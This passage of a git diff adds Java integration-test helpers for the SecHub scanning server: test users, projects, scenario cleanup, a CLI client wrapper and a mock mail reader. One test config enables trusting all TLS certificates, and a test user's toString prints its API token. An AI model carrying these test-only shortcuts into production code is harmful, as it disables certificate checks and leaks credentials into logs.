urlBuilder.buildGetFileUpload(project.getProjectId(), jobUUID.toString(), fileName); + try { + File file = as(ANONYMOUS).downloadAsTempFileFromURL(url, jobUUID); + return file; + } catch (HttpStatusCodeException e) { + if (HttpStatus.NOT_FOUND.equals(e.getStatusCode())) { + /* okay, just not existing ... */ + return null; + } + throw new IllegalStateException("Odd status code:" + e.getStatusCode() + ", message:" + e.getMessage(), e); + } + } + + public static String createSHA256Of(File uploadFile) { + + MessageDigest md; + try { + md = MessageDigest.getInstance("SHA-256"); + } catch (NoSuchAlgorithmException e) { + throw new IllegalStateException("should not happen:", e); + } + + try (DigestInputStream dis = new DigestInputStream(new FileInputStream(uploadFile), md)) { + while (dis.read() != -1) + ; // empty loop to clear the data + md = dis.getMessageDigest(); + } catch (IOException e) { + throw new IllegalStateException("should not happen:", e); + } + StringBuilder result = new StringBuilder(); + for (byte b : md.digest()) { + result.append(String.format("%02x", b)); + } + return result.toString(); + + } + + public static void waitSeconds(int seconds) { + waitMilliSeconds(seconds * 1000); + } + + public static void waitMilliSeconds(int milliSeconds) { + try { + Thread.sleep(milliSeconds); + } catch (InterruptedException e) { + Thread.currentThread().interrupt(); + } + + } + +} diff --git a/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/api/TestExecutable.java b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/api/TestExecutable.java new file mode 100644 index 0000000000..0e3a6f8fca --- /dev/null +++ b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/api/TestExecutable.java @@ -0,0 +1,20 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.integrationtest.api; + +public interface TestExecutable { + /** + * @return false when stop execution, true when still need to execute + */ + public boolean run() throws Exception; + + public boolean wasSuccessful(); + + public int getTimeoutInSeconds(); + + public long getTimeToWaitInMillis(); + + public Class[] getHandledExceptions(); + + TestUser getUser(); + +} \ No newline at end of file diff --git a/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/api/TestProject.java b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/api/TestProject.java new file mode 100644 index 0000000000..41063ce715 --- /dev/null +++ b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/api/TestProject.java @@ -0,0 +1,39 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.integrationtest.api; + +import java.util.ArrayList; +import java.util.List; + +public class TestProject { + + private String projectId; + private String description; + private List whiteListUrls; + + private static final List all = new ArrayList<>(); + + TestProject() { + all.add(this); + } + + public TestProject(String projectId, String ... whiteListUrls) { + this.description="description of "+projectId; + this.projectId=projectId; + this.whiteListUrls=new ArrayList<>(); + for (String whitelist : whiteListUrls) { + this.whiteListUrls.add(whitelist); + } + } + + public String getProjectId() { + return projectId; + } + + public String getDescription() { + return description; + } + + public List getWhiteListUrls() { + return whiteListUrls; + } +} diff --git a/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/api/TestUser.java b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/api/TestUser.java new file mode 100644 index 0000000000..a77f0b46df --- /dev/null +++ b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/api/TestUser.java @@ -0,0 +1,53 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.integrationtest.api; + +import java.util.ArrayList; +import java.util.List; + +public class TestUser implements UserContext { + + private String userId; + private String apiToken; + private String email; + + private static final List all = new ArrayList<>(); + + TestUser() { + all.add(this); + } + + public TestUser(String userid, String apiToken, String email) { + this.userId=userid; + this.apiToken=apiToken; + this.email=email; + } + + public String getUserId() { + return userId; + } + + public String getApiToken() { + return apiToken; + } + + public boolean isAnonymous() { + return userId==null||userId.isEmpty(); + } + + public void updateToken(String newToken) { + if (isAnonymous()) { + throw new IllegalStateException("anonymous users may not have token updated!"); + } + this.apiToken=newToken; + } + + public String getEmail() { + return email; + } + + @Override + public String toString() { + return "TestUser [userId=" + userId + ", apiToken=" + apiToken + ", email=" + email + "]"; + } + +} diff --git a/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/api/UserContext.java b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/api/UserContext.java new file mode 100644 index 0000000000..65984b756d --- /dev/null +++ b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/api/UserContext.java @@ -0,0 +1,16 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.integrationtest.api; + +public interface UserContext { + + String getUserId(); + + String getApiToken(); + + boolean isAnonymous(); + + void updateToken(String newToken); + + String getEmail(); + +} \ No newline at end of file diff --git a/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/api/WithSecHubClient.java b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/api/WithSecHubClient.java new file mode 100644 index 0000000000..c933bf7384 --- /dev/null +++ b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/api/WithSecHubClient.java @@ -0,0 +1,199 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.integrationtest.api; + +import static org.junit.Assert.*; + +import java.io.File; +import java.io.IOException; +import java.nio.file.Files; +import java.nio.file.Path; +import java.util.ArrayList; +import java.util.List; +import java.util.UUID; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.daimler.sechub.integrationtest.internal.IntegrationTestFileSupport; +import com.daimler.sechub.integrationtest.internal.SecHubClientExecutor; +import com.daimler.sechub.integrationtest.internal.SecHubClientExecutor.ExecutionResult; +import com.daimler.sechub.test.TestUtil; + +/** + * This test class tries to use the former build sechub execution + * + * @author Albert Tregnaghi + * + */ +public class WithSecHubClient { + private static final Logger LOG = LoggerFactory.getLogger(WithSecHubClient.class); + + private AsUser asUser; + private Path outputFolder; + + private boolean stopOnYellow; + + WithSecHubClient(AsUser asUser) { + this.asUser = asUser; + try { + this.outputFolder = Files.createTempDirectory("with-sechub-client-"); + this.outputFolder.toFile().deleteOnExit(); + } catch (IOException e) { + throw new IllegalStateException("Can NOT create temp directory for tests!", e); + } + } + + public WithSecHubClient enableStopOnYellow() { + this.stopOnYellow = true; + return this; + } + + public class AssertAsyncResult { + private UUID jobUUID; + public File configFile; + + public UUID getJobUUID() { + return jobUUID; + } + + private AssertAsyncResult() { + + } + + public AssertAsyncResult assertJobTriggered() { + /* having a job uuid means it was done */ + assertNotNull(jobUUID); + return this; + } + + /** + * Asserts file was uploaded for project + * + * @param project + * @param sha256checksum + * @return + */ + public AssertZipFileUpload assertFileUploadedAsZip(TestProject project) { + File file = assertFile(project); + return new AssertZipFileUpload(file); + } + + public AssertAsyncResult assertFileUploaded(TestProject project) { + assertFile(project); + return this; + } + + private File assertFile(TestProject project) { + /* the filename at upload is currently always sourcecode.zip! */ + File file = TestAPI.getFileUploaded(project, jobUUID, "sourcecode.zip"); + if (file == null) { + fail("NO file upload for " + jobUUID + " in project +" + project); + } + + LOG.info("Uploaded file for job {} was re-downloaded to {}", jobUUID, file); + + return file; + } + } + + public class AssertZipFileUpload { + private File downloadedFile; + Path unzipTo; + + private AssertZipFileUpload(File file) { + if (file == null) { + throw new IllegalArgumentException("Zip file may not be null"); + } + if (!file.exists()) { + throw new IllegalArgumentException("Zip file does not exist:" + file); + } + this.downloadedFile = file; + + try { + unzipTo = Files.createTempDirectory("sechub-assertzip"); + if (TestUtil.isDeletingTempFiles()) { + unzipTo.toFile().deleteOnExit(); + } + /* unzip */ + TestUtil.unzip(downloadedFile, unzipTo); + LOG.info("Unzipped re-downloaded zipfile {} to {}", downloadedFile, unzipTo); + + } catch (IOException e) { + throw new IllegalStateException(e); + } + + } + + public AssertZipFileUpload zipContains(String pathToFile) { + File f = new File(unzipTo.toFile(), pathToFile); + if (!f.exists()) { + fail("File does not exist:" + pathToFile + "\n - looked at :" + f.getAbsolutePath()); + } + return this; + } + + public AssertZipFileUpload zipNotContains(String pathToFile) { + File f = new File(unzipTo.toFile(), pathToFile); + if (f.exists()) { + fail("File does exist:" + pathToFile + "\n - looked at :" + f.getAbsolutePath()); + } + return this; + } + + } + + public AssertAsyncResult startAsynchronScanFor(TestProject project, String jsonConfigfile) { + File file = IntegrationTestFileSupport.getTestfileSupport().createFileFromResourcePath(jsonConfigfile); + SecHubClientExecutor executor = new SecHubClientExecutor(); + List list = buildCommand(project, false); + list.add("scanAsync"); + ExecutionResult result = doExecute(file, executor, list); + if (result.getExitCode() != 0) { + fail("Not exit code 0 but:" + result.getExitCode()); + } + AssertAsyncResult asynchResult = new AssertAsyncResult(); + asynchResult.jobUUID = UUID.fromString(result.getLastOutputLine()); + asynchResult.configFile = file; + return asynchResult; + } + + /** + * Starts a synchronous scan for given project. + * + * @param project + * @param jsonConfigfile name of the config file which shall be used. Its + * automatically resolved from test file support. + * @return + */ + public ExecutionResult startSynchronScanFor(TestProject project, String jsonConfigfile) { + File file = IntegrationTestFileSupport.getTestfileSupport().createFileFromResourcePath(jsonConfigfile); + SecHubClientExecutor executor = new SecHubClientExecutor(); + + List list = buildCommand(project, true); + list.add("scan"); + + return doExecute(file, executor, list); + } + + private ExecutionResult doExecute(File file, SecHubClientExecutor executor, List list) { + return executor.execute(file, asUser.user, list.toArray(new String[list.size()])); + } + + private List buildCommand(TestProject project, boolean withWait0) { + List list = new ArrayList<>(); + list.add("-server"); + list.add(asUser.getServerURL()); + list.add("-project"); + list.add(project.getProjectId()); + list.add("-output"); + list.add(outputFolder.toFile().getAbsolutePath()); + if (withWait0) { + list.add("-wait"); + list.add("0"); + } + if (stopOnYellow) { + list.add("-stop-on-yellow"); + } + return list; + } +} diff --git a/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/internal/AbstractTestScenario.java b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/internal/AbstractTestScenario.java new file mode 100644 index 0000000000..0040e9e771 --- /dev/null +++ b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/internal/AbstractTestScenario.java @@ -0,0 +1,230 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.integrationtest.internal; + +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import org.apache.http.HttpStatus; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.web.client.HttpClientErrorException; +import org.springframework.web.client.RestTemplate; + +import com.daimler.sechub.integrationtest.api.TestProject; +import com.daimler.sechub.integrationtest.api.TestUser; +import com.daimler.sechub.test.ExampleConstants; + +/** + * Abstract base scenario implementation + * + * @author Albert Tregnaghi + * + */ +public abstract class AbstractTestScenario implements TestScenario { + + private static final Logger LOG = LoggerFactory.getLogger(AbstractTestScenario.class); + + private static Map, List> createdTestUsersMap = new HashMap<>(); + private static Map, List> createdTestProjectsMap = new HashMap<>(); + + /** + * Create a test project instance inside a scenario. But will not create + * the real project on database etc. This is only the definition for a scenario. + * The scenario itself will cleanup and handle the test project instance! + * + * @param clazz + * @param userIdPart + * @return + */ + protected static TestProject createTestProject(Class clazz, String projectIdPart) { + String projectId = clazz.getSimpleName().toLowerCase() + "_" + projectIdPart; + + String whiteListURL = "http://locahost/" + projectId; + // we additinally add long running url because its configured in webscan and for + // infrascan mocks to have longer runs*/ + TestProject testProject = new TestProject(projectId, whiteListURL, InternalConstants.URL_FOR_LONG_RUNNING); + + List testProjects = getTestProjects(clazz); + testProjects.add(testProject); + + return testProject; + } + + /** + * Create a test user instance inside a scenario. But will not create the + * real user on database etc. This is only the definition for a scenario. The + * scenario itself will cleanup and handle the test user instance! + * + * @param clazz + * @param userIdPart + * @return + */ + protected static TestUser createTestUser(Class clazz, String userIdPart) { + String userid = clazz.getSimpleName().toLowerCase() + "_" + userIdPart; + TestUser testUser = new TestUser(userid, null, userid + "@"+ExampleConstants.URI_TARGET_SERVER); + + List testUsers = getTestUsers(clazz); + testUsers.add(testUser); + + return testUser; + } + + private static List getTestUsers(Class clazz) { + return createdTestUsersMap.computeIfAbsent(clazz, key -> new ArrayList<>()); + } + + private static List getTestProjects(Class clazz) { + return createdTestProjectsMap.computeIfAbsent(clazz, key -> new ArrayList<>()); + } + + @Override + public String getName() { + return getClass().getSimpleName().toLowerCase(); + } + + protected ScenarioInitializer initializer() { + return new ScenarioInitializer(); + } + + protected void cleanupAllTestUsers() { + List testusers = getTestUsers(getClass()); + LOG.debug("CLEANUP all test uses"); + + for (TestUser user : testusers) { + LOG.debug("Drop user:{}", user); + resetUserInstanceData(user); + dropExistingUser(user); + dropExistingSignups(user); + } + + } + + protected TestRestHelper getRestHelper() { + TestRestHelper restHelper = getContext().getTemplateForSuperAdmin(); + return restHelper; + } + + protected RestTemplate getRestTemplate() { + return getRestHelper().getTemplate(); + } + + protected void cleanupAllTestProjects() { + LOG.debug("CLEANUP all test projects"); + List testProjects = getTestProjects(getClass()); + for (TestProject project : testProjects) { + LOG.debug("drop project:{}", project); + resetProjectInstanceData(project); + dropExistingProject(project); + } + + } + + private void resetProjectInstanceData(TestProject project) { + // currently nothing + } + + private void resetUserInstanceData(TestUser user) { + // reset tokens (which can be changed by runtime) + user.updateToken(null); + } + + private void dropExistingSignups(TestUser user) { + try { + getRestTemplate().delete(getContext().getUrlBuilder().buildAdminDeletesUserSignUpUrl(user.getUserId())); + } catch (HttpClientErrorException e) { + int statusCode = e.getStatusCode().value(); + if (HttpStatus.SC_NOT_FOUND != statusCode) { + throw new IllegalStateException("Cannot delete user signup:" + user.getUserId() + ", http status=" + statusCode, e); + } else { + /* ok did not exist before... so no delete possible but still okay */ + } + } + } + + private void dropExistingProject(TestProject project) { + try { + getRestTemplate().delete(getContext().getUrlBuilder().buildDeleteProjectUrl(project.getProjectId())); + } catch (HttpClientErrorException e) { + int statusCode = e.getStatusCode().value(); + if (HttpStatus.SC_NOT_FOUND != statusCode) { + throw new IllegalStateException("Cannot delete test project:" + project.getProjectId() + ", http status=" + statusCode, e); + } else { + /* ok did not exist before... so no delete possible but still okay */ + } + } + } + + private void dropExistingUser(TestUser user) { + try { + getRestTemplate().delete(getContext().getUrlBuilder().buildDeleteUserUrl(user.getUserId())); + } catch (HttpClientErrorException e) { + int statusCode = e.getStatusCode().value(); + if (HttpStatus.SC_NOT_FOUND != statusCode) { + throw new IllegalStateException("Cannot delete test user:" + user.getUserId() + ", http status=" + statusCode, e); + } else { + /* ok did not exist before... so no delete possible but still okay */ + } + } + } + + @Override + public final void prepare(String testClass, String testMethod) { + String scenarioName = getClass().getSimpleName(); + LOG.info("############################################################################################################"); + LOG.info("###"); + LOG.info("### [START] Preparing scenario: '" + scenarioName+"'"); + LOG.info("###"); + LOG.info("############################################################################################################"); + LOG.info("### Class ="+testClass); + LOG.info("### Method="+testMethod); + LOG.info("############################################################################################################"); + + prepareImpl(); + + LOG.info("############################################################################################################"); + LOG.info("###"); + LOG.info("### [DONE ] Ppreparing scenario: '" + scenarioName+"'"); + LOG.info("### [START] Test itself"); + LOG.info("###"); + LOG.info("############################################################################################################"); + LOG.info("### Class ="+testClass); + LOG.info("### Method="+testMethod); + LOG.info("############################################################################################################"); + + } + + protected final void prepareImpl() { + LOG.info("############################################################################################################"); + LOG.info("## [CLEAN] remove old test data"); + LOG.info("############################################################################################################"); + resetEmails(); + cleanupAllTestUsers(); + cleanupAllTestProjects(); + + LOG.info("############################################################################################################"); + LOG.info("## [INIT] trigger test data initialization on server side"); + LOG.info("############################################################################################################"); + initializeTestData(); + LOG.info("############################################################################################################"); + LOG.info("## [WAIT] for all test data availale"); + LOG.info("############################################################################################################"); + waitForTestDataAvailable(); + + } + + protected abstract void initializeTestData(); + + protected abstract void waitForTestDataAvailable(); + + protected void resetEmails() { + LOG.info("RESET mail mock data"); + getContext().emailAccess().reset(); + } + + private IntegrationTestContext getContext() { + return IntegrationTestContext.get(); + } + +} diff --git a/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/internal/IntegrationTestAdapter.java b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/internal/IntegrationTestAdapter.java new file mode 100644 index 0000000000..7e3307bcd8 --- /dev/null +++ b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/internal/IntegrationTestAdapter.java @@ -0,0 +1,50 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.integrationtest.internal; + +import java.util.Map; + +import com.daimler.sechub.adapter.Adapter; +import com.daimler.sechub.adapter.AdapterCanceledByUserException; +import com.daimler.sechub.adapter.AdapterException; +import com.daimler.sechub.adapter.AdapterLogId; +import com.daimler.sechub.adapter.TraceIdProvider; + +public class IntegrationTestAdapter implements Adapter{ + + + @Override + public AdapterLogId getAdapterLogId(TraceIdProvider provider) { + return new AdapterLogId("testadapter",provider.getTraceID()); + } + + @Override + public AdapterCanceledByUserException asAdapterCanceledByUserException(TraceIdProvider provider) { + throw new IllegalStateException("should not happen"); + } + + @Override + public AdapterException asAdapterException(String message, TraceIdProvider provider) { + return new AdapterException(getAdapterLogId(provider), message); + } + + @Override + public AdapterException asAdapterException(String message, Throwable t, TraceIdProvider provider) { + return new AdapterException(getAdapterLogId(provider), message,t); + } + + @Override + public String createAPIURL(String apiPart, IntegrationTestAdapterConfig config) { + return createAPIURL(apiPart, config); + } + + @Override + public String createAPIURL(String apiPart, IntegrationTestAdapterConfig config, Map map) { + return "http://testadapter/"+apiPart+"?"+map; + } + + @Override + public String start(IntegrationTestAdapterConfig config) throws AdapterException { + return null; + } + +} diff --git a/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/internal/IntegrationTestAdapterConfig.java b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/internal/IntegrationTestAdapterConfig.java new file mode 100644 index 0000000000..bc08d09ec2 --- /dev/null +++ b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/internal/IntegrationTestAdapterConfig.java @@ -0,0 +1,8 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.integrationtest.internal; + +import com.daimler.sechub.adapter.AbstractAdapterConfig; + +public class IntegrationTestAdapterConfig extends AbstractAdapterConfig implements IntegrationTestAdapterConfigInterface{ + +} \ No newline at end of file diff --git a/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/internal/IntegrationTestAdapterConfigBuilder.java b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/internal/IntegrationTestAdapterConfigBuilder.java new file mode 100644 index 0000000000..8bd47fe25c --- /dev/null +++ b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/internal/IntegrationTestAdapterConfigBuilder.java @@ -0,0 +1,23 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.integrationtest.internal; + +import com.daimler.sechub.adapter.AbstractAdapterConfigBuilder; + +public class IntegrationTestAdapterConfigBuilder extends AbstractAdapterConfigBuilder{ + + @Override + protected void customBuild(IntegrationTestAdapterConfigInterface config) { + + } + + @Override + protected IntegrationTestAdapterConfigInterface buildInitialConfig() { + return new IntegrationTestAdapterConfig(); + } + + @Override + protected void customValidate() { + + } + +} \ No newline at end of file diff --git a/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/internal/IntegrationTestAdapterConfigInterface.java b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/internal/IntegrationTestAdapterConfigInterface.java new file mode 100644 index 0000000000..df3c979a69 --- /dev/null +++ b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/internal/IntegrationTestAdapterConfigInterface.java @@ -0,0 +1,8 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.integrationtest.internal; + +import com.daimler.sechub.adapter.AdapterConfig; + +public interface IntegrationTestAdapterConfigInterface extends AdapterConfig{ + +} \ No newline at end of file diff --git a/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/internal/IntegrationTestAdapterContextInterface.java b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/internal/IntegrationTestAdapterContextInterface.java new file mode 100644 index 0000000000..4691b668ee --- /dev/null +++ b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/internal/IntegrationTestAdapterContextInterface.java @@ -0,0 +1,8 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.integrationtest.internal; + +import com.daimler.sechub.adapter.AdapterContext; + +public interface IntegrationTestAdapterContextInterface extends AdapterContext{ + +} diff --git a/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/internal/IntegrationTestAdapterInterface.java b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/internal/IntegrationTestAdapterInterface.java new file mode 100644 index 0000000000..39e0cf4fce --- /dev/null +++ b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/internal/IntegrationTestAdapterInterface.java @@ -0,0 +1,8 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.integrationtest.internal; + +import com.daimler.sechub.adapter.Adapter; + +public interface IntegrationTestAdapterInterface extends Adapter{ + +} \ No newline at end of file diff --git a/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/internal/IntegrationTestContext.java b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/internal/IntegrationTestContext.java new file mode 100644 index 0000000000..8a3f73d718 --- /dev/null +++ b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/internal/IntegrationTestContext.java @@ -0,0 +1,76 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.integrationtest.internal; + +import java.util.HashMap; +import java.util.Map; + +import com.daimler.sechub.integrationtest.api.TestAPI; +import com.daimler.sechub.integrationtest.api.TestUser; +import com.daimler.sechub.test.TestPortProvider; +import com.daimler.sechub.test.TestURLBuilder; + +/** + * Test context class. Contains initial data like port, hostname etc. + * + * @author Albert Tregnaghi + * + */ +public class IntegrationTestContext { + + static IntegrationTestContext testContext = new IntegrationTestContext(); + + private MockEmailAccess mailAccess = MockEmailAccess.mailAccess(); + + private Map restHelperMap = new HashMap<>(); + private String hostname = "localhost"; + private int port = TestPortProvider.DEFAULT_INSTANCE.getIntegrationTestServerPort(); + + private TestURLBuilder urlBuilder; + + public static IntegrationTestContext get() { + return testContext; + } + + public void setHostname(String hostname) { + this.hostname = hostname; + } + + public void setPort(int port) { + this.port = port; + } + + public TestURLBuilder getUrlBuilder() { + if (urlBuilder == null) { + urlBuilder = new TestURLBuilder("https", port, hostname); + } + return urlBuilder; + } + + /** + * @return template for super admin + */ + public TestRestHelper getTemplateForSuperAdmin() { + return getRestHelper(TestAPI.SUPER_ADMIN); + } + + private IntegrationTestContext() { + + } + + public TestRestHelper getSuperAdminRestHelper() { + return getRestHelper(TestAPI.SUPER_ADMIN); + } + + public TestRestHelper getRestHelper(TestUser user) { + return restHelperMap.computeIfAbsent(user, this::createRestHelper); + } + + private TestRestHelper createRestHelper(TestUser user) { + return new TestRestHelper(user); + } + + public MockEmailAccess emailAccess() { + return mailAccess; + } + +} diff --git a/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/internal/IntegrationTestFileSupport.java b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/internal/IntegrationTestFileSupport.java new file mode 100644 index 0000000000..430d3959f0 --- /dev/null +++ b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/internal/IntegrationTestFileSupport.java @@ -0,0 +1,19 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.integrationtest.internal; + +import com.daimler.sechub.test.SechubTestComponent; +import com.daimler.sechub.test.TestFileSupport; + +@SechubTestComponent +public class IntegrationTestFileSupport extends TestFileSupport { + private static final IntegrationTestFileSupport TESTFILE_SUPPORT = new IntegrationTestFileSupport(); + + public static IntegrationTestFileSupport getTestfileSupport() { + return TESTFILE_SUPPORT; + } + + IntegrationTestFileSupport() { + super("sechub-integrationtest/src/test/resources"); + } + +} diff --git a/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/internal/IntegrationTestRestHelper.java b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/internal/IntegrationTestRestHelper.java new file mode 100644 index 0000000000..bfef192770 --- /dev/null +++ b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/internal/IntegrationTestRestHelper.java @@ -0,0 +1,14 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.integrationtest.internal; + +import com.daimler.sechub.integrationtest.api.TestUser; + +public class IntegrationTestRestHelper extends TestRestHelper { + + public IntegrationTestRestHelper(TestUser user) { + super(user); + } + + + +} diff --git a/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/internal/IntegrationTestTrustAllConfig.java b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/internal/IntegrationTestTrustAllConfig.java new file mode 100644 index 0000000000..b720bd8559 --- /dev/null +++ b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/internal/IntegrationTestTrustAllConfig.java @@ -0,0 +1,33 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.integrationtest.internal; + +import com.daimler.sechub.adapter.TrustAllConfig; + +public class IntegrationTestTrustAllConfig implements TrustAllConfig { + + @Override + public String getProxyHostname() { + return null; + } + + @Override + public int getProxyPort() { + return 0; + } + + @Override + public boolean isProxyDefined() { + return false; + } + + @Override + public String getTraceID() { + return "INTEGRATIONTEST."+hashCode(); + } + + @Override + public boolean isTrustAllCertificatesEnabled() { + return true; + } + +} diff --git a/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/internal/InternalConstants.java b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/internal/InternalConstants.java new file mode 100644 index 0000000000..9c592d1b2b --- /dev/null +++ b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/internal/InternalConstants.java @@ -0,0 +1,13 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.integrationtest.internal; + +import com.daimler.sechub.test.ExampleConstants; + +public class InternalConstants { + + private InternalConstants() { + + } + public static final String URL_FOR_LONG_RUNNING= "https://longrunning.but.green.demo."+ExampleConstants.URI_TARGET_SERVER; + +} diff --git a/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/internal/MockEmailAccess.java b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/internal/MockEmailAccess.java new file mode 100644 index 0000000000..c11c5d58b1 --- /dev/null +++ b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/internal/MockEmailAccess.java @@ -0,0 +1,116 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.integrationtest.internal; + +import static org.junit.Assert.*; + +import java.util.ArrayList; +import java.util.List; +import java.util.Map; + +import org.springframework.http.ResponseEntity; +import org.springframework.web.client.RestTemplate; + +import com.daimler.sechub.integrationtest.api.MockEmailEntry; +import com.daimler.sechub.integrationtest.api.TestUser; +import com.daimler.sechub.test.TestURLBuilder; + +public class MockEmailAccess { + + static MockEmailAccess mailAccess() { + return new MockEmailAccess(); + } + + public List> getMailsFor(TestUser user) { + return getMailsFor(user.getEmail()); + } + + @SuppressWarnings({ "unchecked", "rawtypes" }) + public List> getMailsFor(String mailAdress) { + String url = getUrlBuilder().buildFetchEmailsFromMockMailServiceUrl(mailAdress); + ResponseEntity result = getTemplate().getForEntity(url, List.class); + return result.getBody(); + } + public List getMockMailListFor(String mailAdress) { + return convertToMockMailList(getMailsFor(mailAdress)); + } + + private RestTemplate getTemplate() { + return getContext().getTemplateForSuperAdmin().getTemplate(); + } + + private TestURLBuilder getUrlBuilder() { + return getContext().getUrlBuilder(); + } + + private IntegrationTestContext getContext() { + return IntegrationTestContext.get(); + } + + public MockEmailEntry findMailOrFail(TestUser toUser, String subject) { + return findMailOrFail(toUser, subject, 3); + } + + public MockEmailEntry findMailOrFail(String email, String subject) { + return findMailOrFail(email, subject, 3); + } + + public MockEmailEntry findMailOrFail(TestUser toUser, String subject, int maxSecondsToWait) { + return findMailOrFail(toUser.getEmail(), subject, maxSecondsToWait); + } + + public MockEmailEntry findMailOrFail(String email, String subject, int maxSecondsToWait) { + MockEmailEntry found = null; + List list = null; + for (int i = 0; i < maxSecondsToWait; i++) { + List> listAsMap = getMailsFor(email); + list = convertToMockMailList(listAsMap); + + for (MockEmailEntry message : list) { + if (subject == null || subject.isEmpty() || subject.equals(message.subject)) { + found = message; + break; + } + } + if (found != null) { + break; + } + try { + /* NOSONAR */Thread.sleep(1000); + } catch (InterruptedException e) { + e.printStackTrace(); + } + } + if (found == null) { + StringBuilder sb = new StringBuilder(); + sb.append("Did not found mail containing:\n-emailadress (TO): "); + sb.append(email); + sb.append("\n-subject: '"); + sb.append(subject); + sb.append("'\n\nFound mails for this email adress:"); + for (MockEmailEntry message : list) { + sb.append("\n").append(message.toString()); + } + fail(sb.toString()); + } + return found; + } + + public static final List convertToMockMailList(List> listAsMap) { + List list; + list = new ArrayList<>(); + for (Map map : listAsMap) { + MockEmailEntry entry = new MockEmailEntry(); + entry.from = map.get("from").toString(); + entry.subject = map.get("subject").toString(); + entry.text = map.get("text").toString(); + entry.to = map.get("to").toString(); + list.add(entry); + } + return list; + } + + public void reset() { + getTemplate().delete(getUrlBuilder().buildResetAllMockMailsUrl()); + } + +} diff --git a/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/internal/ScenarioInitializer.java b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/internal/ScenarioInitializer.java new file mode 100644 index 0000000000..17b4a54c15 --- /dev/null +++ b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/internal/ScenarioInitializer.java @@ -0,0 +1,121 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.integrationtest.internal; + +import static com.daimler.sechub.integrationtest.api.TestAPI.*; +import static org.junit.Assert.*; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.web.client.HttpClientErrorException; + +import com.daimler.sechub.integrationtest.api.AbstractTestExecutable; +import com.daimler.sechub.integrationtest.api.TestAPI; +import 